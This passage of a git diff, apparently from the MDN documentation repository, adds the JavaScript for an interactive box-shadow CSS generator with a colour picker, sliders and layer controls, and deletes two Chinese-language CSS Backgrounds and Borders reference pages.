+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'shadow ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
+ +

Related Tool: Box Shadow CSS Generator

diff --git a/files/zh-cn/web/css/css_background_and_borders/index.html b/files/zh-cn/web/css/css_background_and_borders/index.html deleted file mode 100644 index 96d540eedd..0000000000 --- a/files/zh-cn/web/css/css_background_and_borders/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CSS Background and Borders -slug: Web/CSS/CSS_Background_and_Borders -tags: - - CSS - - CSS Backgrounds and Borders - - CSS Reference - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/CSS/CSS_Backgrounds_and_Borders -translation_of_original: Web/CSS/CSS_Background_and_Borders ---- -

{{CSSRef}}

- -

CSS 背景与边框 是 CSS中描述元素背景与边框的组件。边框的实现方式包含直线、图片。盒模型可以具有单个或多个背景、圆角以及阴影。

- -

参考

- -

CSS 属性

- -
- -
- -

导航

- -
-
应用CSS多重背景
-
阐述设置元素背景方法以及背景、元素之间的交互方式
-
缩放背景图片
-
阐述如何通过拉伸、重复使背景图片覆盖或不全部覆盖元素的背景区域,更改背景图片的呈现方式。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
- -

浏览器支持

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
-
diff --git a/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html deleted file mode 100644 index 66cd1921d5..0000000000 --- a/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: 使用CSS的多背景 -slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds -tags: - - CSS - - CSS Background - - Example - - Guide - - Intermediate -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds ---- -

{{CSSRef}}

- -

通过使用 CSS3,你可以向元素应用多个背景。这些背景相互堆叠,第一个背景放在最上面,最后一个背景放在最下面。 仅最后一个背景允许拥有背景色。

- -

